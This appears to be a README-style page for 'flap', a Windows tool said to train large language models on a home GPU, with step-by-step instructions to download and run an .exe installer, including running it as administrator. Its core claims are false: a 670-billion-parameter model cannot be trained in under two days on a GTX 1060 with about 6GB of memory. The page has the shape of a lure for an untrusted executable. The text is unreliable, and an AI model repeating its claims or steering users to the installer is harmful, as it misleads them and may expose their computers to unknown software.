flap lets you train large language models on your own Windows computer. It uses your GPU and works automatically, cutting training time drastically. You don’t need to know how to code or use complex tools.
With flap, a model that might take months to train on standard setups finishes in under two days on a common gaming GPU. It supports models with about 670 billion parameters and runs using roughly 6GB of video memory.
Before you begin, make sure your Windows PC meets these basics:
- Operating System: Windows 10 or later (64-bit)
- GPU: NVIDIA graphics card with at least 6GB VRAM (e.g., GTX 1060 or newer)
- CPU: Intel i5 or AMD Ryzen 5 (or better)
- RAM: 16 GB or more
- Disk Space: Minimum 10 GB free space
- Internet: Required for initial download only
Your GPU must support CUDA, which is NVIDIA’s platform for GPU computing. flap uses this to speed up model training. Without an NVIDIA GPU, flap will not work.
This section guides you step-by-step on how to download and run flap on Windows.
Click the big green button at the top or visit this link:
This page shows the latest versions and files available for download.
Look for a file with a name like:
flap-windows-setup.exe
or something similar that mentions Windows. It should be the latest version with the date closest to today.
Click the file name. Your browser will download the .exe installer to your downloads folder. Depending on your connection, this may take a few minutes.
Open your Downloads folder and double-click the .exe file. Windows may ask if you want to allow this app to make changes. Choose Yes.
The installer window will open.
- Select the folder where you want to install flap (suggest default).
- Click Next to move through steps.
- Choose to create a desktop shortcut if you like.
- Click Install to begin.
Wait while flap installs. When done, click Finish.
Once installed, you can run flap by clicking its desktop icon or finding it in the Start menu.
Click the flap icon.
You will see a main window with options.
flap lets you train language models using datasets like text or code.
A sample dataset is often pre-loaded, but you can add your own later.
For beginners, the default settings work fine. flap will automatically use your GPU at full speed and optimize everything needed.
You can change options if you want to try different training lengths or data later.
Click the Start Training button.
flap will begin using your GPU to train the model. It shows progress and estimated time to finish.
On a GTX 1060 6GB GPU, expect full training to take under two days on typical datasets.
flap stores training data and models in folders on your PC.
- Datasets: You can add or replace datasets by placing them in the
flap\datafolder. - Models: Completed and in-progress models save to the
flap\modelsfolder. - Logs: Training logs and progress reports save automatically as you train.
To add new datasets:
- Download your text or code files.
- Place them in
flap\datafolder. - Restart flap and select your new dataset.
No. flap depends on NVIDIA’s CUDA technology, which requires an NVIDIA GPU.
Performance may drop or training may fail due to lack of memory. flap requires at least 6GB VRAM to run properly.
Go back to the releases page and download the latest installer. Run it to update.
Yes. You can pause and resume within flap’s window.
- If flap fails to start, check that your GPU drivers are up to date.
- Ensure Windows is fully updated.
- Run flap as an administrator if you see permission errors.
- If the installer does not run, right-click and select “Run as administrator.”
- CUDA for GPU acceleration
- Model optimized for 670 billion parameters
- Works with common datasets like English text and Python code
- Designed to run on mainstream gaming GPUs at a fraction of usual training time
Access the latest Windows installation files here: